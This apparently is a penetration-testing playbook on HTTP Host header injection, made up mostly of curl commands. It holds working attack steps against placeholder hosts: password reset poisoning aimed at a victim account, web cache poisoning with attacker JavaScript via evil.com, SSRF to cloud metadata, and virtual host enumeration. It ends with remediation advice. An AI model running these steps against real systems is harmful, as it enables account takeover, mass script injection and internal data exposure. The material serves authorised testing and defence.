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name: testing-for-host-header-injection description: Test web applications for HTTP Host header injection vulnerabilities to identify password reset poisoning, web cache poisoning, SSRF, and virtual host routing manipulation risks. domain: cybersecurity subdomain: web-application-security tags: [host-header-injection, password-reset-poisoning, cache-poisoning, virtual-host, web-security, header-manipulation, ssrf] version: "1.0" author: mahipal license: Apache-2.0

Testing for Host Header Injection

When to Use

• When testing password reset functionality for token theft via host manipulation
• During assessment of web caching behavior influenced by Host header values
• When testing virtual host routing and server-side request processing
• During penetration testing of applications behind reverse proxies or load balancers
• When evaluating SSRF potential through Host header manipulation

Prerequisites

• Burp Suite for intercepting and modifying Host headers
• Understanding of HTTP Host header role in virtual hosting and routing
• Knowledge of alternative host headers (X-Forwarded-Host, X-Host, X-Original-URL)
• Access to an attacker-controlled domain for receiving poisoned requests
• Burp Collaborator or interact.sh for out-of-band detection
• Multiple test accounts for password reset testing

Workflow

Step 1 — Test Basic Host Header Injection

# Supply arbitrary Host header
curl -H "Host: evil.com" http://target.com/ -v
# Check if application reflects evil.com in response

# Double Host header
curl -H "Host: target.com" -H "Host: evil.com" http://target.com/ -v

# Host header with port injection
curl -H "Host: target.com:evil.com" http://target.com/ -v
curl -H "Host: target.com:@evil.com" http://target.com/ -v

# Absolute URL with different Host
curl --request-target "http://target.com/" -H "Host: evil.com" http://target.com/ -v

# Check for different virtual host access
curl -H "Host: admin.target.com" http://target.com/ -v
curl -H "Host: internal.target.com" http://target.com/ -v
curl -H "Host: localhost" http://target.com/ -v

Step 2 — Test Password Reset Poisoning

# Trigger password reset with modified Host header
# The reset link may use the Host header value in the URL
curl -X POST http://target.com/forgot-password \
  -H "Host: evil.com" \
  -d "email=victim@target.com"
# If reset email contains: http://evil.com/reset?token=xxx
# Attacker receives the token when victim clicks the link

# Try X-Forwarded-Host for password reset poisoning
curl -X POST http://target.com/forgot-password \
  -H "X-Forwarded-Host: evil.com" \
  -d "email=victim@target.com"

# Port-based injection in reset URL
curl -X POST http://target.com/forgot-password \
  -H "Host: target.com:80@evil.com" \
  -d "email=victim@target.com"

# Test with various forwarding headers
for header in "X-Forwarded-Host" "X-Host" "X-Original-URL" "X-Rewrite-URL" "X-Forwarded-Server" "Forwarded"; do
  curl -X POST http://target.com/forgot-password \
    -H "$header: evil.com" \
    -d "email=victim@target.com"
  echo "Tested: $header"
done

Step 3 — Test Web Cache Poisoning via Host Header

# If caching layer uses URL (without Host) as cache key:
# Poison cache with modified Host header
curl -H "Host: evil.com" http://target.com/ -v
# If response is cached and contains evil.com links
# All subsequent users receive poisoned content

# Test with X-Forwarded-Host for cache poisoning
curl -H "X-Forwarded-Host: evil.com" http://target.com/login -v
# Check X-Cache header to see if response was cached

# Verify cache poisoning
curl http://target.com/login -v
# If response still contains evil.com, cache is poisoned

# Poison JavaScript URLs in cached pages
curl -H "X-Forwarded-Host: evil.com" http://target.com/
# If page loads: <script src="//evil.com/static/app.js">
# Attacker serves malicious JavaScript to all users

Step 4 — Test SSRF via Host Header

# Backend may use Host header to make internal requests
curl -H "Host: internal-api.target.local" http://target.com/api/proxy

# Access cloud metadata via Host header
curl -H "Host: 169.254.169.254" http://target.com/

# Internal port scanning
for port in 80 443 8080 8443 3000 5000 9200; do
  curl -H "Host: 127.0.0.1:$port" http://target.com/ -o /dev/null -w "%{http_code}" -s
  echo " - Port $port"
done

# SSRF via absolute URL
curl --request-target "http://internal-server/" -H "Host: internal-server" http://target.com/

Step 5 — Test Virtual Host Enumeration

# Enumerate virtual hosts
for vhost in admin staging dev test api internal backend; do
  status=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{http_code}" -s)
  size=$(curl -H "Host: $vhost.target.com" http://target.com/ -o /dev/null -w "%{size_download}" -s)
  echo "$vhost.target.com - Status: $status, Size: $size"
done

# Check default virtual host behavior
curl -H "Host: nonexistent.target.com" http://target.com/ -v
# Compare with legitimate host response

# Access internal admin panels via virtual host
curl -H "Host: admin" http://target.com/
curl -H "Host: management.internal" http://target.com/

Step 6 — Test Connection-State Attacks

# HTTP/1.1 connection reuse attack
# Send legitimate first request, then inject Host header on subsequent request
# Use Burp Repeater with "Update Content-Length" and manual Connection: keep-alive

# In Burp Repeater, send grouped request:
# Request 1 (legitimate):
# GET / HTTP/1.1
# Host: target.com
# Connection: keep-alive
#
# Request 2 (injected):
# GET /admin HTTP/1.1
# Host: internal.target.com

# Test with HTTP Request Smuggling combined
# If front-end validates Host but back-end doesn't:
# Smuggle request with modified Host header

Key Concepts

Concept	Description
Host Header	HTTP header specifying the target virtual host for the request
Password Reset Poisoning	Injecting Host to make reset emails contain attacker-controlled URLs
Cache Poisoning via Host	Poisoning CDN cache with responses containing attacker-controlled host
Virtual Host Routing	Web server using Host header to route requests to different applications
X-Forwarded-Host	Alternative header used by proxies that may override Host header
Connection State Attack	Exploiting persistent connections to send requests with different Host values
Server-Side Host Resolution	Backend code using Host header for URL generation and redirects

Tools & Systems

Tool	Purpose
Burp Suite	HTTP proxy for Host header manipulation and analysis
Burp Collaborator	Out-of-band detection for Host header SSRF
ffuf	Virtual host brute-forcing with custom Host headers
gobuster vhost	Virtual host enumeration mode
Nuclei	Template-based scanning for Host header injection
param-miner	Burp extension for discovering unkeyed Host-related headers

Common Scenarios

1. Password Reset Token Theft — Poison Host header during password reset to make victim click a link pointing to attacker server, leaking reset token
2. Web Cache Poisoning — Inject Host header to cache responses with attacker-controlled JavaScript URLs, achieving stored XSS for all users
3. Internal Panel Access — Enumerate and access internal admin panels through virtual host manipulation
4. SSRF to Cloud Metadata — Use Host header to redirect server-side requests to cloud metadata endpoints
5. Routing Bypass — Bypass access controls by manipulating Host to route requests to unprotected backend instances

Output Format

## Host Header Injection Report
- **Target**: http://target.com
- **Reverse Proxy**: Nginx
- **Backend**: Apache/PHP

### Findings
| # | Technique | Header | Impact | Severity |
|---|-----------|--------|--------|----------|
| 1 | Password Reset Poisoning | Host: evil.com | Token theft | Critical |
| 2 | Cache Poisoning | X-Forwarded-Host: evil.com | Stored XSS | High |
| 3 | Virtual Host Access | Host: admin.target.com | Admin panel exposure | High |
| 4 | SSRF | Host: 169.254.169.254 | Metadata access | Critical |

### Remediation
- Validate Host header against a whitelist of expected values
- Do not use Host header for generating URLs in password reset emails
- Configure web server to reject requests with unrecognized Host values
- Set absolute URLs in application configuration instead of deriving from Host